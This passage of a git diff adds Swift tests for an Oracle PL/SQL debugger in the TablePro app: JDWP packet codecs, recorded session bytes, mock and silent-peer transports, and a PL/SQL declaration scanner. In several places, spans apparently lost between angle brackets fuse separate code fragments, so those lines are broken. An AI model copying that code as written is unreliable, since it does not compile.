7, errorCode: 35, data: Data([1, 2, 3])) + let command = OracleJDWPPacket.command(id: 9, commandSet: 64, command: 100, data: Data([4])) + for packet in [reply, command] { + let decoded = try #require(try OracleJDWPPacket.decode(from: packet.encoded)) + #expect(decoded.packet == packet) + #expect(decoded.length == packet.encoded.count) + } + } + + @Test func testIDSizesReplyDecodesOraclesSizes() throws { + let decoded = try #require(try OracleJDWPPacket.decode(from: OracleJDWPRecording.idSizesReply)) + guard case let .reply(id, errorCode, data) = decoded.packet else { + Issue.record("expected a reply") + return + } + #expect(id == 1) + #expect(errorCode == 0) + var reader = OracleJDWPReader(data, sizes: sizes) + let read = try (0..<5).map { _ in try reader.i32() } + #expect(read == [4, 4, 4, 4, 8]) + } + + @Test func testAPartialPacketWaitsForTheRest() throws { + var buffer = OracleJDWPFrameBuffer() + let whole = OracleJDWPRecording.vmStartEvent + OracleJDWPRecording.idSizesReply + buffer.append(whole.prefix(20)) + #expect(try buffer.nextPacket() == nil) + buffer.append(whole.dropFirst(20)) + let first = try #require(try buffer.nextPacket()) + let second = try #require(try buffer.nextPacket()) + #expect(try buffer.nextPacket() == nil) + guard case .command(_, 64, 100, _) = first, case .reply(1, 0, _) = second else { + Issue.record("expected the event, then the reply") + return + } + } + + // Oracle sends VM_START before it answers IDSizes, with a 4-byte thread id. + @Test func testRecordedEventsDecode() throws { + func events(_ data: Data) throws -> [OracleJDWPEvent] { + let decoded = try #require(try OracleJDWPPacket.decode(from: data)) + guard case let .command(_, 64, 100, body) = decoded.packet else { return [] } + return try OracleJDWPEventSet.decode(body, sizes: sizes).events + } + #expect(try events(OracleJDWPRecording.vmStartEvent) == [.vmStart(thread: 1)]) + #expect(try events(OracleJDWPRecording.classPrepareEvent) == [ + .classPrepare(requestID: 1, thread: 1, typeID: 2, signature: "L$Oracle/PackageBody/PROBE/PKG_CALC;") + ]) + #expect(try events(OracleJDWPRecording.breakpointEvent) == [ + .breakpoint(requestID: 2, thread: 1, location: OracleJDWPLocation(classID: 2, methodID: 4, index: 6)) + ]) + } + + @Test func testRequestsEncodeAsRecorded() { + let classPrepare = OracleJDWPRequest.classPrepare(matching: "$Oracle/PackageBody/PROBE/PKG_CALC", sizes: sizes) + #expect(OracleJDWPPacket.command(id: 3, commandSet: 15, command: 1, data: classPrepare).encoded + == OracleJDWPRecording.classPrepareCommand) + let breakpoint = OracleJDWPRequest.breakpoint( + at: OracleJDWPLocation(classID: 2, methodID: 4, index: 6), + sizes: sizes + ) + #expect(OracleJDWPPacket.command(id: 7, commandSet: 15, command: 1, data: breakpoint).encoded + == OracleJDWPRecording.breakpointCommand) + var frames = OracleJDWPWriter(sizes: sizes) + frames.id(1, .object) + frames.i32(0) + frames.i32(-1) + #expect(OracleJDWPPacket.command(id: 9, commandSet: 11, command: 6, data: frames.data).encoded + == OracleJDWPRecording.framesCommand) + } + + @Test func testFramesReplyReadsThreeFramesWithEightByteIDs() throws { + let decoded = try #require(try OracleJDWPPacket.decode(from: OracleJDWPRecording.framesReply)) + guard case let .reply(_, _, data) = decoded.packet else { + Issue.record("expected a reply") + return + } + var reader = OracleJDWPReader(data, sizes: sizes) + #expect(try reader.i32() == 3) + #expect(try reader.id(.frame) == 0x1_0000_0001) + #expect(try reader.location() == OracleJDWPLocation(classID: 2, methodID: 4, index: 6)) + #expect(try reader.id(.frame) == 0x1_0000_0002) + #expect(try reader.location() == OracleJDWPLocation(classID: 2, methodID: 5, index: 14)) + } + + @Test func testTaggedValuesReadEachWidth() throws { + var writer = OracleJDWPWriter(sizes: sizes) + writer.u8(UInt8(ascii: "Z")) + writer.u8(1) + writer.u8(UInt8(ascii: "I")) + writer.i32(30) + writer.u8(UInt8(ascii: "s")) + writer.id(0, .object) + writer.u8(UInt8(ascii: "L")) + writer.id(72, .object) + var reader = OracleJDWPReader(writer.data, sizes: sizes) + #expect(try reader.taggedValue() == .primitive(tag: UInt8(ascii: "Z"), bits: 1)) + #expect(try reader.taggedValue() == .primitive(tag: UInt8(ascii: "I"), bits: 30)) + #expect(try reader.taggedValue() == .object(tag: OracleJDWPValue.stringTag, id: 0)) + #expect(try reader.taggedValue().objectID == 72) + #expect(reader.isAtEnd) + } + + @Test func testATruncatedBodyThrows() { + var reader = OracleJDWPReader(Data([0, 0, 0, 9, 65]), sizes: sizes) + #expect(throws: OracleJDWPError.truncated) { try reader.string() } + } +} diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPRecording.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPRecording.swift new file mode 100644 index 0000000000..d2b92701e6 --- /dev/null +++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPRecording.swift @@ -0,0 +1,63 @@ +import Foundation + +// Bytes from a live run against Oracle AI Database 26ai Free 23.26.3 (the debugger stopping in PROBE.PKG_CALC.ADD_TAX at +// line 6, called from RUN line 14): what this side sent and what the database sent back, in order. +enum OracleJDWPRecording { + static let idSizesCommand = bytes("0000000b00000001000107") + static let vmStartEvent = bytes("000000190000000100406402000000015a0000000000000001") + static let idSizesReply = bytes("0000001f000000018000000000000400000004000000040000000400000008") + static let versionCommand = bytes("0000000b00000002000101") + static let versionReply = bytes( + "0000006e000000028000000000002c4f7261636c65204d756c74696c616e677561676520446562756767657220766572" + + "73696f6e2032332e302e3000000001000000000000000632332e302e300000001d4f7261636c65204d756c74696c616e" + + "6775616765204465627567676572" + ) + static let classPrepareCommand = bytes( + "0000003800000003000f010802000000010500000022244f7261636c652f5061636b616765426f64792f50524f42452f" + + "504b475f43414c43" + ) + static let classPrepareReply = bytes("0000000f0000000380000000000001") + static let resumeCommand = bytes("0000000b00000004000109") + static let resumeReply = bytes("0000000b00000004800000") + static let classPrepareEvent = bytes( + "0000004a0000000400406402000000010800000001000000010100000002000000244c244f7261636c652f5061636b61" + + "6765426f64792f50524f42452f504b475f43414c433b00000007" + ) + static let methodsCommand = bytes("0000000f0000000500020500000002") + static let methodsReply = bytes( + "00000107000000058000000000000400000003000000083c636c696e69743e000000032829560000000a000000040000" + + "00074144445f54415800000032284c244f7261636c652f4275696c74696e2f4e554d4245523b294c244f7261636c652f" + + "4275696c74696e2f4e554d4245523b00000009000000050000000352554e00000020284c244f7261636c652f4275696c" + + "74696e2f504c535f494e54454745523b29560000000900000006000000074144445f5441580000004a284c244f726163" + + "6c652f4275696c74696e2f4e554d4245523b4c244f7261636c652f4275696c74696e2f4e554d4245523b294c244f7261" + + "636c652f4275696c74696e2f4e554d4245523b00000009" + ) + static let lineTableCommand = bytes("00000013000000060006010000000200000004") + static let lineTableReply = bytes( + "0000005b0000000680000000000000000000030000000000000008000000050000000000000003000000030000000000" + + "00000500000005000000000000000600000006000000000000000700000007000000000000000800000008" + ) + static let breakpointCommand = bytes("0000002300000007000f01020200000001070100000002000000040000000000000006") + static let breakpointReply = bytes("0000000f0000000780000000000002") + static let resume2Command = bytes("0000000b00000008000109") + static let resume2Reply = bytes("0000000b00000008800000") + static let breakpointEvent = bytes("0000002a0000000700406402000000010200000002000000010100000002000000040000000000000006") + static let framesCommand = bytes("0000001700000009000b060000000100000000ffffffff") + static let framesReply = bytes( + "0000005a0000000980000000000003000000010000000101000000020000000400000000000000060000000100000002" + + "010000000200000005000000000000000e0000000100000003010000000a000000040000000000000001" + ) + static let disposeCommand = bytes("0000000b0000000a000106") + static let disposeReply = bytes("0000000b0000000a800000") + + static func bytes(_ hex: String) -> Data { + var data = Data() + var index = hex.startIndex + while index < hex.endIndex { + let next = hex.index(index, offsetBy: 2) + data.append(UInt8(hex[index..? + var closed = false + var sent: [Sent] = [] + } + + private let state = OSAllocatedUnfairLock(initialState: State()) + private let respond: @Sendable (Sent) -> (events: [Data], errorCode: UInt16, body: Data)? + + init(respond: @escaping @Sendable (Sent) -> (events: [Data], errorCode: UInt16, body: Data)?) { + self.respond = respond + } + + var sent: [Sent] { state.withLock { $0.sent } } + + func send(_ data: Data) async throws { + guard data != OracleJDWPPacket.handshake, let (packet, _) = try OracleJDWPPacket.decode(from: data), + case let .command(id, commandSet, command, body) = packet else { return } + let sent = Sent(commandSet: commandSet, command: command, body: body) + state.withLock { $0.sent.append(sent) } + guard let answer = respond(sent) else { return } + for event in answer.events { + deliver(event) + } + deliver(OracleJDWPPacket.reply(id: id, errorCode: answer.errorCode, data: answer.body).encoded) + } + + private func deliver(_ data: Data) { + let waiter = state.withLock { current -> CheckedContinuation? in + if let waiter = current.waiter { + current.waiter = nil + return waiter + } + current.inbound.append(data) + return nil + } + waiter?.resume(returning: data) + } + + func receive() async throws -> Data? { + await withCheckedContinuation { continuation in + let ready = state.withLock { current -> Data?? in + if !current.inbound.isEmpty { return .some(current.inbound.removeFirst()) } + if current.closed { return .some(nil) } + current.waiter = continuation + return nil + } + if let ready { continuation.resume(returning: ready) } + } + } + + func close() { + let waiter = state.withLock { current -> CheckedContinuation? in + current.closed = true + defer { current.waiter = nil } + return current.waiter + } + waiter?.resume(returning: nil) + } +} + +func replyBody(_ packet: Data) -> Data { + guard let decoded = try? OracleJDWPPacket.decode(from: packet), case let .reply(_, _, body) = decoded.packet else { return Data() } + return body +} diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPSessionStartTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPSessionStartTests.swift new file mode 100644 index 0000000000..e46ed0a81b --- /dev/null +++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPSessionStartTests.swift @@ -0,0 +1,99 @@ +import Foundation +import os +@testable import TableProOracleCore +import Testing + +struct OracleJDWPSessionStartTests { + private let calcBody = OracleDebugUnit(owner: "PROBE", name: "PKG_CALC", kind: .packageBody) + + private func makeSession(_ peer: RespondingPeer) async throws -> OracleJDWPDebugSession { + let connection = OracleJDWPConnection(transport: peer, replyTimeout: .seconds(5)) + try await connection.handshake() + let offline = OracleCoreConnection(options: OracleConnectionOptions(host: "127.0.0.1", user: "probe", password: "x")) + return OracleJDWPDebugSession( + connection: connection, + target: offline, + helper: offline, + entryPoint: OracleDebugEntryPoint( + entry: OracleDebugEntry(unit: calcBody, subprogram: "RUN", subprogramID: 3), + overload: nil, + parameters: [], + result: nil + ), + invocation: OracleDebugStatements.Invocation(block: "BEGIN NULL; END;", binds: []), + connectCall: Task { .success([]) }, + notices: [] + ) + } + + // A logon trigger or startup command that ran the package loads it before CONNECT_TCP, so no CLASS_PREPARE may + // announce it; the session finds it with ClassesBySignature and sets the entry breakpoint before resuming. + @Test func testAnAlreadyLoadedUnitGetsItsEntryBreakpointBeforeTheResume() async throws { + let requestIDs = OSAllocatedUnfairLock(initialState: Int32(0)) + let peer = RespondingPeer { sent in + var writer = OracleJDWPWriter(sizes: .oracle) + switch (sent.commandSet, sent.command) { + case (OracleJDWPCommand.virtualMachine, OracleJDWPCommand.idSizes): + return ([OracleJDWPRecording.vmStartEvent], 0, replyBody(OracleJDWPRecording.idSizesReply)) + case (OracleJDWPCommand.virtualMachine, OracleJDWPCommand.classesBySignature): + writer.i32(1) + writer.u8(1) + writer.id(2, .referenceType) + writer.i32(7) + case (OracleJDWPCommand.referenceType, OracleJDWPCommand.methods): + return ([], 0, replyBody(OracleJDWPRecording.methodsReply)) + case (OracleJDWPCommand.method, OracleJDWPCommand.lineTable): + return ([], 0, replyBody(OracleJDWPRecording.lineTableReply)) + case (OracleJDWPCommand.eventRequest, OracleJDWPCommand.set): + writer.i32(requestIDs.withLock { id -> Int32 in + id += 1 + return id + }) + default: + break + } + return ([], 0, writer.data) + } + let session = try await makeSession(peer) + try await session.start(breakpoints: []) + let sent = peer.sent + let breakpoint = sent.firstIndex { + $0.commandSet == OracleJDWPCommand.eventRequest && $0.command == OracleJDWPCommand.set + && $0.body.first == OracleJDWPEventKind.breakpoint.rawValue + } + let resume = sent.firstIndex { $0.commandSet == OracleJDWPCommand.virtualMachine && $0.command == OracleJDWPCommand.resume } + #expect(breakpoint != nil) + #expect(resume != nil) + if let breakpoint, let resume { + #expect(breakpoint < resume) + } + #expect(await session.stop() == .ended) + } + + // An error code the database answers becomes a written error, never an unreadable Swift one. + @Test func testARefusedCommandBecomesAWrittenError() async throws { + let peer = RespondingPeer { sent in + if sent.commandSet == OracleJDWPCommand.virtualMachine, sent.command == OracleJDWPCommand.idSizes { + return ([OracleJDWPRecording.vmStartEvent], 0, replyBody(OracleJDWPRecording.idSizesReply)) + } + return ([], 99, Data()) + } + let session = try await makeSession(peer) + await #expect(throws: OracleDebugError.debuggerRefused(code: 99)) { + try await session.start(breakpoints: []) + } + #expect(await session.stop() == .ended) + } + + // One slot the database cannot read fails the batch; each is then read alone and only that one is left out. + @Test func testAnUnreadableSlotIsSkippedInsteadOfFailingTheFrame() async throws { + let calls = OSAllocatedUnfairLock(initialState: [[Int]]()) + let values = try await OracleJDWPDebugSession.readSlots([0, 1, 2]) { slots in + calls.withLock { $0.append(slots) } + if slots.contains(1) { throw OracleJDWPError.reply(code: 35) } + return slots.map { OracleJDWPValue.object(tag: OracleJDWPValue.objectTag, id: UInt64($0 + 10)) } + } + #expect(values == [.object(tag: OracleJDWPValue.objectTag, id: 10), nil, .object(tag: OracleJDWPValue.objectTag, id: 12)]) + #expect(calls.withLock { $0 } == [[0, 1, 2], [0], [1], [2]]) + } +} diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPSilentPeerTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPSilentPeerTests.swift new file mode 100644 index 0000000000..5e714089af --- /dev/null +++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPSilentPeerTests.swift @@ -0,0 +1,178 @@ +import Foundation +import os +@testable import TableProOracleCore +import Testing + +// A peer that completes the handshake, answers IDSizes with the recorded reply and its VM_START, then never answers +// again: what a hung or hostile server looks like after the database connected back. +private final class SilentPeerTransport: OracleJDWPTransport, @unchecked Sendable { + private struct State { + var inbound: [Data] = [OracleJDWPPacket.handshake] + var waiter: CheckedContinuation? + var closed = false + var commands = 0 + var commandWaiters: [(count: Int, continuation: CheckedContinuation)] = [] + var closeWaiters: [CheckedContinuation] = [] + } + + private let state = OSAllocatedUnfairLock(initialState: State()) + + var isClosed: Bool { state.withLock { $0.closed } } + + // Returns once this many commands (packets after the handshake) have been sent. + func commandsSent(_ count: Int) async { + await withCheckedContinuation { continuation in + let ready = state.withLock { current -> Bool in + if current.commands >= count { return true } + current.commandWaiters.append((count, continuation)) + return false + } + if ready { continuation.resume() } + } + } + + func closedEvent() async { + await withCheckedContinuation { continuation in + let ready = state.withLock { current -> Bool in + if current.closed { return true } + current.closeWaiters.append(continuation) + return false + } + if ready { continuation.resume() } + } + } + + func send(_ data: Data) async throws { + guard data.count >= 11 else { return } + let reached = state.withLock { current -> [CheckedContinuation] in + current.commands += 1 + let ready = current.commandWaiters.filter { $0.count <= current.commands }.map(\.continuation) + current.commandWaiters.removeAll { $0.count <= current.commands } + return ready + } + for waiter in reached { + waiter.resume() + } + guard data[data.startIndex + 9] == OracleJDWPCommand.virtualMachine, + data[data.startIndex + 10] == OracleJDWPCommand.idSizes else { return } + var reply = OracleJDWPRecording.idSizesReply + reply.replaceSubrange(reply.startIndex + 4.. CheckedContinuation? in + if let waiter = current.waiter { + current.waiter = nil + return waiter + } + current.inbound.append(data) + return nil + } + waiter?.resume(returning: data) + } + + func receive() async throws -> Data? { + await withCheckedContinuation { continuation in + let ready = state.withLock { current -> Data?? in + if !current.inbound.isEmpty { return .some(current.inbound.removeFirst()) } + if current.closed { return .some(nil) } + current.waiter = continuation + return nil + } + if let ready { continuation.resume(returning: ready) } + } + } + + func close() { + let (waiter, closeWaiters) = state.withLock { current -> (CheckedContinuation?, [CheckedContinuation]) in + current.closed = true + defer { + current.waiter = nil + current.closeWaiters.removeAll() + } + return (current.waiter, current.closeWaiters) + } + waiter?.resume(returning: nil) + for closeWaiter in closeWaiters { + closeWaiter.resume() + } + } +} + +struct OracleJDWPSilentPeerTests { + private func session(replyTimeout: Duration) async throws -> (OracleJDWPDebugSession, SilentPeerTransport) { + let transport = SilentPeerTransport() + let connection = OracleJDWPConnection(transport: transport, replyTimeout: replyTimeout) + try await connection.handshake() + let unit = OracleDebugUnit(owner: "PROBE", name: "PKG_CALC", kind: .packageBody) + let entryPoint = OracleDebugEntryPoint( + entry: OracleDebugEntry(unit: unit, subprogram: "RUN", subprogramID: 3), + overload: nil, + parameters: [], + result: nil + ) + let offline = OracleCoreConnection(options: OracleConnectionOptions(host: "127.0.0.1", user: "probe", password: "x")) + let session = OracleJDWPDebugSession( + connection: connection, + target: offline, + helper: offline, + entryPoint: entryPoint, + invocation: OracleDebugStatements.Invocation(block: "BEGIN NULL; END;", binds: []), + connectCall: Task { .success([]) }, + notices: [] + ) + return (session, transport) + } + + // The ClassPrepare request after VM_START gets no answer; the reply timeout ends the start and the socket. + @Test func testAStartAgainstASilentPeerFailsWithinTheReplyTimeout() async throws { + let (session, transport) = try await session(replyTimeout: .milliseconds(300)) + let started = ContinuousClock.now + await #expect(throws: OracleDebugError.debuggerStoppedAnswering) { + try await session.start(breakpoints: []) + } + #expect(ContinuousClock.now - started < .seconds(3)) + #expect(transport.isClosed) + } + + // Tab close or module off cancels the start: it returns at once and the socket closes, which ends the target. + @Test func testCancellingAStartWaitingOnASilentPeerReturnsPromptly() async throws { + let (session, transport) = try await session(replyTimeout: .seconds(60)) + let start = Task { try await session.start(breakpoints: []) } + // IDSizes is answered; the ClassPrepare request after VM_START is the one left waiting. + await transport.commandsSent(2) + let started = ContinuousClock.now + start.cancel() + await #expect(throws: CancellationError.self) { try await start.value } + await transport.closedEvent() + #expect(ContinuousClock.now - started < .seconds(3)) + } + + @Test func testAReplyThatNeverComesFailsTheCommandAndClosesTheConnection() async throws { + let transport = SilentPeerTransport() + let connection = OracleJDWPConnection(transport: transport, replyTimeout: .milliseconds(200)) + try await connection.handshake() + await #expect(throws: OracleJDWPError.timedOut) { + try await connection.send(OracleJDWPCommand.virtualMachine, OracleJDWPCommand.resume) + } + #expect(await connection.closed) + #expect(transport.isClosed) + await #expect(throws: OracleJDWPError.closed) { + try await connection.send(OracleJDWPCommand.virtualMachine, OracleJDWPCommand.resume) + } + } + + @Test func testACancelledCommandThrowsCancellationAndClosesTheConnection() async throws { + let transport = SilentPeerTransport() + let connection = OracleJDWPConnection(transport: transport, replyTimeout: .seconds(60)) + try await connection.handshake() + let waiting = Task { try await connection.send(OracleJDWPCommand.virtualMachine, OracleJDWPCommand.resume) } + await transport.commandsSent(1) + waiting.cancel() + await #expect(throws: CancellationError.self) { try await waiting.value } + await transport.closedEvent() + #expect(await connection.closed) + } +} diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPStopOverlapTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPStopOverlapTests.swift new file mode 100644 index 0000000000..cf976abab1 --- /dev/null +++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPStopOverlapTests.swift @@ -0,0 +1,56 @@ +import Foundation +@testable import TableProOracleCore +import Testing + +struct OracleJDWPStopOverlapTests { + private let calcBody = OracleDebugUnit(owner: "PROBE", name: "PKG_CALC", kind: .packageBody) + + private func makeSession(_ peer: RespondingPeer) async throws -> OracleJDWPDebugSession { + let connection = OracleJDWPConnection(transport: peer, replyTimeout: .seconds(5)) + try await connection.handshake() + let offline = OracleCoreConnection(options: OracleConnectionOptions(host: "127.0.0.1", user: "probe", password: "x")) + return OracleJDWPDebugSession( + connection: connection, + target: offline, + helper: offline, + entryPoint: OracleDebugEntryPoint( + entry: OracleDebugEntry(unit: calcBody, subprogram: "RUN", subprogramID: 3), + overload: nil, + parameters: [], + result: nil + ), + invocation: OracleDebugStatements.Invocation(block: "BEGIN NULL; END;", binds: []), + connectCall: Task { .success([]) }, + notices: [] + ) + } + + // Stop closes the socket, which fails the reply the breakpoint call still awaits: the call ends with Stop at once, + // not at the 5 s reply timeout. + @Test func testStopEndsABreakpointCallStillWaitingForItsReply() async throws { + let (arrivals, arrival) = AsyncStream.makeStream(of: Void.self) + let peer = RespondingPeer { _ in + arrival.yield() + return nil + } + let session = try await makeSession(peer) + let breakpoint = Task { try await session.setBreakpoint(in: calcBody, line: 4) } + var waiting = arrivals.makeAsyncIterator() + _ = await waiting.next() + let started = ContinuousClock.now + #expect(await session.stop() == .ended) + await #expect(throws: OracleDebugError.ended) { _ = try await breakpoint.value } + #expect(ContinuousClock.now - started < .seconds(3)) + } + + @Test func testConcurrentStopsShareOneOutcomeAndLaterCallsSendNothing() async throws { + let peer = RespondingPeer { _ in ([], 0, Data()) } + let session = try await makeSession(peer) + async let first = session.stop() + async let second = session.stop() + #expect(await [first, second] == [.ended, .ended]) + await #expect(throws: OracleDebugError.ended) { _ = try await session.setBreakpoint(in: calcBody, line: 4) } + await #expect(throws: OracleDebugError.ended) { _ = try await session.source(of: calcBody) } + #expect(peer.sent.isEmpty) + } +} diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OraclePLSQLDeclarationScanTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OraclePLSQLDeclarationScanTests.swift new file mode 100644 index 0000000000..375106131c --- /dev/null +++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OraclePLSQLDeclarationScanTests.swift @@ -0,0 +1,220 @@ +import Foundation +@testable import TableProOracleCore +import Testing + +struct OraclePLSQLDeclarationScanTests { + // PROBE.PKG_CALC's body exactly as ALL_SOURCE returned it in the measurements. + private let packageBody = """ + package body pkg_calc as + g_rate number := 0.1; + function add_tax(p_amount number) return number is + l_tax number; + begin + l_tax := p_amount * g_rate; + return p_amount + l_tax; + end add_tax; + procedure run(p_n pls_integer) is + l_total number := 0; + l_name varchar2(30) := 'probe'; + begin + for i in 1 .. p_n loop + l_total := l_total + add_tax(i); + end loop; + dbms_output.put_line(l_name || ' total=' || l_total); + end run; + function add_tax(p_amount number, p_rate number) return number is + begin + return p_amount + p_amount * p_rate; + end add_tax; + end pkg_calc; + """ + + @Test func testSubprogramsAndTheirLineRanges() { + let scan = OraclePLSQLDeclarationScan(source: packageBody) + let subprograms = scan.subprograms.map { "\($0.name) \($0.headerLine)-\($0.endLine ?? 0)" } + #expect(subprograms == ["ADD_TAX 3-8", "RUN 9-17", "ADD_TAX 18-21"]) + #expect(scan.headerLines(ofSubprogramNamed: "ADD_TAX") == [3, 18]) + #expect(scan.headerLines(ofSubprogramNamed: "RUN") == [9]) + } + + @Test func testCandidatesFollowTheFrameLine() { + let scan = OraclePLSQLDeclarationScan(source: packageBody) + #expect(scan.candidates(atLine: 6).map(\.name) == ["P_AMOUNT", "L_TAX"]) + #expect(scan.candidates(atLine: 6).map(\.kind) == [.parameter, .variable]) + #expect(scan.candidates(atLine: 14).map(\.name) == ["P_N", "L_TOTAL", "L_NAME", "I"]) + #expect(scan.candidates(atLine: 9).map(\.name) == ["P_N", "L_TOTAL", "L_NAME"]) + #expect(scan.candidates(atLine: 20).map(\.name) == ["P_AMOUNT", "P_RATE"]) + #expect(scan.candidates(atLine: 11).first { $0.name == "L_NAME" }?.typeText == "VARCHAR2(30)") + #expect(scan.packageVariables.map(\.name) == ["G_RATE"]) + } + + // A FOR loop's index lives from its FOR to its END LOOP, and shadows a local of the same name only there. + @Test func testALoopIndexIsVisibleOnlyInsideItsLoop() { + let scan = OraclePLSQLDeclarationScan(source: packageBody) + #expect(scan.candidates(atLine: 16).map(\.name) == ["P_N", "L_TOTAL", "L_NAME"]) + + let shadowing = OraclePLSQLDeclarationScan(source: """ + procedure p is + i varchar2(10) := 'outer'; + begin + for i in 1 .. 2 loop + null; + end loop; + null; + end p; + """) + #expect(shadowing.candidates(atLine: 5).first { $0.name == "I" }?.kind == .iterator) + #expect(shadowing.candidates(atLine: 7).first { $0.name == "I" }?.kind == .variable) + } + + @Test func testTypesCursorsExceptionsAndConstantsAreTold() { + let scan = OraclePLSQLDeclarationScan(source: """ + function f_calc(p_a number, p_b in out nocopy varchar2 default 'x') return number is + type t_rec is record (a number, b varchar2(10)); + cursor c_rows is select 1 from dual; + e_bad exception; + pragma exception_init(e_bad, -20001); + c_limit constant pls_integer := 10; + l_rec t_rec; + begin + return p_a * 2; + end f_calc; + """) + let names = scan.candidates(atLine: 9).map(\.name) + #expect(names == ["P_A", "P_B", "C_LIMIT", "L_REC"]) + #expect(scan.candidates(atLine: 9).first { $0.name == "C_LIMIT" }?.kind == .constant) + #expect(scan.candidates(atLine: 9).first { $0.name == "P_B" }?.typeText == "VARCHAR2") + } + + @Test func testCommentsStringsAndQuotedNamesDoNotConfuseTheScan() { + let scan = OraclePLSQLDeclarationScan(source: """ + procedure p is + -- procedure fake is begin end; + /* function g return number is begin return 1; end; */ + l_text varchar2(100) := q'[it's begin; end]'; + "Mixed Case" number; + begin + l_text := 'end; begin'; + declare + l_inner number; + begin + null; + end; + case when l_text is null then null; else null; end case; + end p; + """) + #expect(scan.subprograms.map(\.name) == ["P"]) + #expect(scan.subprograms.first?.endLine == 14) + #expect(scan.candidates(atLine: 7).map(\.name) == ["L_TEXT", "Mixed Case"]) + #expect(scan.candidates(atLine: 11).map(\.name) == ["L_TEXT", "Mixed Case", "L_INNER"]) + } + + // GET_VALUE reads the innermost binding of a name, so the row must carry that declaration's type. + @Test func testAnInnerBlockShadowsAnOuterNameOnlyWhileItRuns() { + let scan = OraclePLSQLDeclarationScan(source: """ + procedure p_shadow is + x constant number := 1; + l_outer number := 2; + begin + declare + x varchar2(20) := 'inner'; + begin + l_outer := l_outer + 1; + end; + l_outer := x; + end p_shadow; + """) + let inside = scan.candidates(atLine: 8) + #expect(inside.map(\.name) == ["L_OUTER", "X"]) + #expect(inside.first { $0.name == "X" }?.typeText == "VARCHAR2(20)") + #expect(inside.first { $0.name == "X" }?.kind == .variable) + let after = scan.candidates(atLine: 10) + #expect(after.map(\.name) == ["X", "L_OUTER"]) + #expect(after.first { $0.name == "X" }?.typeText == "NUMBER") + #expect(after.first { $0.name == "X" }?.kind == .constant) + } + + @Test func testANestedBlockIsVisibleOnlyInsideItAndToSubprogramsItDeclares() { + let scan = OraclePLSQLDeclarationScan(source: """ + procedure p_nested(p_n number) is + l_a number := 1; + begin + declare + l_b number := 2; + procedure show(p_v number) is + begin + dbms_output.put_line(p_v + l_b); + end show; + begin + show(l_a); + end; + l_a := l_a + p_n; + end p_nested; + """) + #expect(scan.candidates(atLine: 8).map(\.name) == ["P_V", "P_N", "L_A", "L_B"]) + #expect(scan.candidates(atLine: 11).map(\.name) == ["P_N", "L_A", "L_B"]) + #expect(scan.candidates(atLine: 13).map(\.name) == ["P_N", "L_A"]) + } + + // Oracle folds an unquoted name to upper case: `y` is `"Y"`, but `x` is not `"x"`. + @Test func testAQuotedNameIsShadowedOnlyByTheSameName() { + let scan = OraclePLSQLDeclarationScan(source: """ + procedure p_case is + "x" number := 1; + "Y" number := 2; + begin + declare + x varchar2(20) := 'upper'; + y varchar2(5) := 'y'; + begin + null; + end; + null; + end p_case; + """) + let inside = scan.candidates(atLine: 9) + #expect(inside.map(\.lookupName) == ["\"x\"", "X", "Y"]) + #expect(inside.map(\.typeText) == ["NUMBER", "VARCHAR2(20)", "VARCHAR2(5)"]) + let after = scan.candidates(atLine: 11) + #expect(after.map(\.lookupName) == ["\"x\"", "\"Y\""]) + #expect(after.map(\.typeText) == ["NUMBER", "NUMBER"]) + } + + // A quoted name keeps its case and its dots and spaces; GET_VALUE gets it quoted, the Variables list shows it bare. + @Test func testAQuotedNameIsLookedUpQuotedAndShownBare() { + let scan = OraclePLSQLDeclarationScan(source: """ + package body pkg_quoted as + "g.Rate" number := 0.2; + procedure run("p.in" number) is + "a.b" number := 7; + "lower" number; + "with space" varchar2(10); + l_plain number; + begin + for "i.x" in 1 .. 2 loop + null; + end loop; + end run; + end pkg_quoted; + """) + let candidates = scan.candidates(atLine: 10) + #expect(candidates.map(\.name) == ["p.in", "a.b", "lower", "with space", "L_PLAIN", "i.x"]) + #expect(candidates.map(\.lookupName) == ["\"p.in\"", "\"a.b\"", "\"lower\"", "\"with space\"", "L_PLAIN", "\"i.x\""]) + #expect(scan.packageVariables.map(\.name) == ["g.Rate"]) + #expect(scan.packageVariables.map(\.lookupName) == ["\"g.Rate\""]) + } + + // A specification's forward declarations are not definitions, and their parameters are nobody's locals. + @Test func testASpecificationListsOnlyItsVariables() { + let scan = OraclePLSQLDeclarationScan(source: """ + package pkg_calc as + g_spec_count pls_integer := 0; + function add_tax(p_amount number) return number; + procedure run(p_n pls_integer); + end pkg_calc; + """) + #expect(scan.packageVariables.map(\.name) == ["G_SPEC_COUNT"]) + #expect(scan.declarations.allSatisfy { $0.kind != .parameter }) + #expect(scan.headerLines(ofSubprogramNamed: "RUN").isEmpty) + } +} diff --git a/apple/Plugins/OracleDriverPlugin/OracleDebugText.swift b/apple/Plugins/OracleDriverPlugin/OracleDebugText.swift new file mode 100644 index 0000000000..a9df97cc7b --- /dev/null +++ b/apple/Plugins/OracleDriverPlugin/OracleDebugText.swift @@ -0,0 +1,258 @@ +// +// OracleDebugText.swift +// OracleDriverPlugin +// + +import Foundation +import TableProOracleCore +import TableProPluginKit + +struct OracleDebugPluginError: Error, PluginDriverError { + let message: String + var detail: String? + + var pluginErrorMessage: String { message } + var pluginErrorDetail: String? { detail } +} + +// Everything the Oracle debugger says to a person, worded once. +enum OracleDebugText { + static let fallbackSuffix = String(localized: "Debugging through DBMS_DEBUG instead.") + + static func kindName(_ kind: OracleDebugUnitKind) -> String { + switch kind { + case .procedure: return String(localized: "Procedure") + case .function: return String(localized: "Function") 